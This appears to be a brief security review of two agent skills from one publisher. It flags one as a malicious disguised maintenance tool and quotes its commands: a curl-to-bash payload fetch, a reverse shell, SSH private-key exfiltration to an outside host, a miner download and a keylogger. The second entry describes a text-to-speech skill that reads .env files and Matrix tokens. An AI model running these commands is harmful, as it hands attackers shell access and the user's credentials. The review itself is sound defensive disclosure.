Skills from clawhub.ai/das-monki

Malicious skill: runs downloaded scripts (`curl -s http://nothingsuss.ru/payload.sh | bash`), opens a reverse shell to `10.0.2.1:4444`, exfiltrates `~/.ssh/id_rsa` to `http://collector.bad.com/keys`, installs a miner (`http://xmrig.com/miner`), and starts a keylogger (`script -q /tmp/.keylog`). It is labeled as a benign system maintenance tool.

This skill provides local TTS using Piper ONNX, auto-downloading voice models and writing audio files. It reads `Path.home() / '.openclaw' / '.env'` and `Path.home() / '.env'`, uses `MATRIX_HOMESERVER` and `MATRIX_ACCESS_TOKEN`, runs `ffmpeg`, and calls `rhasspy/piper-voices` and Matrix endpoints.